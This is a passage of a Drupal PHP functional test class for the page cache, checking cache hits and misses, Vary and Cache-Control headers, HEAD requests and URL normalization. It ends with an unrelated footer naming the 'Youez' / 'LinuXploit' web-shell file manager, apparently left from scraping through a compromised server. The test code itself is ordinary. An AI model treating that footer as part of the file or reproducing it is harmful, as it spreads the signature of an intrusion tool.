      'value' => 0,
      'required' => TRUE,
    ];
    $this->writeSettings($settings);
    \Drupal::service('cache.page')->deleteAll();

    foreach ($tests as $code => $content_url) {
      // Getting the 404 page twice should still result in a cache miss.
      $this->drupalGet($content_url);
      $this->drupalGet($content_url);
      $this->assertSession()->statusCodeEquals($code);
      $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
    }
  }

  /**
   * Tests the omit_vary_cookie setting.
   */
  public function testPageCacheWithoutVaryCookie() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    $settings['settings']['omit_vary_cookie'] = (object) [
      'value' => TRUE,
      'required' => TRUE,
    ];
    $this->writeSettings($settings);

    // Fill the cache.
    $this->drupalGet('');
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
    $this->assertSession()->responseHeaderNotContains('Vary', 'cookie');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=300, public');

    // Check cache.
    $this->drupalGet('');
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    $this->assertSession()->responseHeaderNotContains('Vary', 'cookie');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=300, public');
  }

  /**
   * Tests the setting of forms to be immutable.
   */
  public function testFormImmutability() {
    // Install the module that provides the test form.
    $this->container->get('module_installer')
      ->install(['page_cache_form_test']);
    // Uninstall the page_cache module to verify that form is immutable
    // regardless of the internal page cache module.
    $this->container->get('module_installer')->uninstall(['page_cache']);

    $this->drupalGet('page_cache_form_test_immutability');

    $this->assertSession()->pageTextContains("Immutable: TRUE");

    // The immutable flag is set unconditionally by system_form_alter(), set
    // a flag to tell page_cache_form_test_module_implements_alter() to disable
    // that implementation.
    \Drupal::state()->set('page_cache_bypass_form_immutability', TRUE);
    \Drupal::moduleHandler()->resetImplementations();
    Cache::invalidateTags(['rendered']);

    $this->drupalGet('page_cache_form_test_immutability');

    $this->assertSession()->pageTextContains("Immutable: FALSE");
  }

  /**
   * Tests cacheability of a CacheableResponse.
   *
   * Tests the difference between having a controller return a plain Symfony
   * Response object versus returning a Response object that implements the
   * CacheableResponseInterface.
   */
  public function testCacheableResponseResponses() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    // GET a URL, which would be marked as a cache miss if it were cacheable.
    $this->drupalGet('/system-test/respond-response');
    $this->assertSession()->responseHeaderDoesNotExist('X-Drupal-Cache');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'must-revalidate, no-cache, private');

    // GET it again, verify it's still not cached.
    $this->drupalGet('/system-test/respond-response');
    $this->assertSession()->responseHeaderDoesNotExist('X-Drupal-Cache');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'must-revalidate, no-cache, private');

    // GET a URL, which would be marked as a cache miss if it were cacheable.
    $this->drupalGet('/system-test/respond-public-response');
    $this->assertSession()->responseHeaderDoesNotExist('X-Drupal-Cache');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=60, public');

    // GET it again, verify it's still not cached.
    $this->drupalGet('/system-test/respond-public-response');
    $this->assertSession()->responseHeaderDoesNotExist('X-Drupal-Cache');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=60, public');

    // GET a URL, which should be marked as a cache miss.
    $this->drupalGet('/system-test/respond-cacheable-response');
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=300, public');

    // GET it again, it should now be a cache hit.
    $this->drupalGet('/system-test/respond-cacheable-response');
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'max-age=300, public');

    // Uninstall page cache. This should flush all caches so the next call to a
    // previously cached page should be a miss now.
    $this->container->get('module_installer')
      ->uninstall(['page_cache']);

    // GET a URL that was cached by Page Cache before, it should not be now.
    $this->drupalGet('/respond-cacheable-response');
    $this->assertSession()->responseHeaderDoesNotExist('X-Drupal-Cache');
  }

  /**
   * Tests that HEAD requests are treated the same as GET requests.
   */
  public function testHead() {
    /** @var \GuzzleHttp\ClientInterface $client */
    $client = $this->getSession()->getDriver()->getClient()->getClient();

    // GET, then HEAD.
    $url_a = $this->buildUrl('system-test/set-header', ['query' => ['name' => 'Foo', 'value' => 'bar']]);
    $response_body = $this->drupalGet($url_a);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'MISS');
    $this->assertSession()->responseHeaderEquals('Foo', 'bar');
    $this->assertEquals('The following header was set: <em class="placeholder">Foo</em>: <em class="placeholder">bar</em>', $response_body);
    $response = $client->request('HEAD', $url_a);
    $this->assertEquals('HIT', $response->getHeaderLine('X-Drupal-Cache'), 'Page was cached.');
    $this->assertEquals('bar', $response->getHeaderLine('Foo'), 'Custom header was sent.');
    $this->assertEquals('', $response->getBody()->getContents());

    // HEAD, then GET.
    $url_b = $this->buildUrl('system-test/set-header', ['query' => ['name' => 'Foo', 'value' => 'baz']]);
    $response = $client->request('HEAD', $url_b);
    $this->assertEquals('MISS', $response->getHeaderLine('X-Drupal-Cache'), 'Page was not cached.');
    $this->assertEquals('baz', $response->getHeaderLine('Foo'), 'Custom header was sent.');
    $this->assertEquals('', $response->getBody()->getContents());
    $response_body = $this->drupalGet($url_b);
    $this->assertSession()->responseHeaderEquals('X-Drupal-Cache', 'HIT');
    $this->assertSession()->responseHeaderEquals('Foo', 'baz');
    $this->assertEquals('The following header was set: <em class="placeholder">Foo</em>: <em class="placeholder">baz</em>', $response_body);
  }

  /**
   * Tests a cacheable response with custom cache control.
   */
  public function testCacheableWithCustomCacheControl() {
    $config = $this->config('system.performance');
    $config->set('cache.page.max_age', 300);
    $config->save();

    $this->drupalGet('/system-test/custom-cache-control');
    $this->assertSession()->statusCodeEquals(200);
    $this->assertSession()->responseHeaderEquals('Cache-Control', 'bar, private');
  }

  /**
   * Tests that URLs are cached in a not normalized form.
   */
  public function testNoUrlNormalization() {

    // Use absolute URLs to avoid any processing.
    $url = Url::fromRoute('<front>')->setAbsolute()->toString();

    // In each test, the first array value is raw URL, the second one is the
    // possible normalized URL.
    $tests = [
      [
        $url . '?z=z&a=a',
        $url . '?a=a&z=z',
      ],
      [
        $url . '?a=b+c',
        $url . '?a=b%20c',
      ],
    ];

    foreach ($tests as [$url_raw, $url_normalized]) {
      // Initialize cache on raw URL.
      $headers = $this->getHeaders($url_raw);
      $this->assertEquals('MISS', $headers['X-Drupal-Cache']);

      // Ensure cache was set.
      $headers = $this->getHeaders($url_raw);
      $this->assertEquals('HIT', $headers['X-Drupal-Cache'], "Cache was set for {$url_raw} URL.");

      // Check if the normalized URL is not cached.
      $headers = $this->getHeaders($url_normalized);
      $this->assertEquals('MISS', $headers['X-Drupal-Cache'], "Cache is missing for {$url_normalized} URL.");
    }
  }

  /**
   * Retrieves only the headers for an absolute path.
   *
   * Executes a cURL request without any modifications to the given URL.
   * Note that Guzzle always normalizes URLs which prevents testing all
   * possible edge cases.
   *
   * @param string $url
   *   URL to request.
   *
   * @return array
   *   Array of headers.
   */
  protected function getHeaders($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    curl_setopt($ch, CURLOPT_NOBODY, TRUE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_USERAGENT, drupal_generate_test_ua($this->databasePrefix));
    $output = curl_exec($ch);
    curl_close($ch);

    $headers = [];
    foreach (explode("\n", $output) as $header) {
      if (strpos($header, ':')) {
        [$key, $value] = explode(':', $header, 2);
        $headers[trim($key)] = trim($value);
      }
    }

    return $headers;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit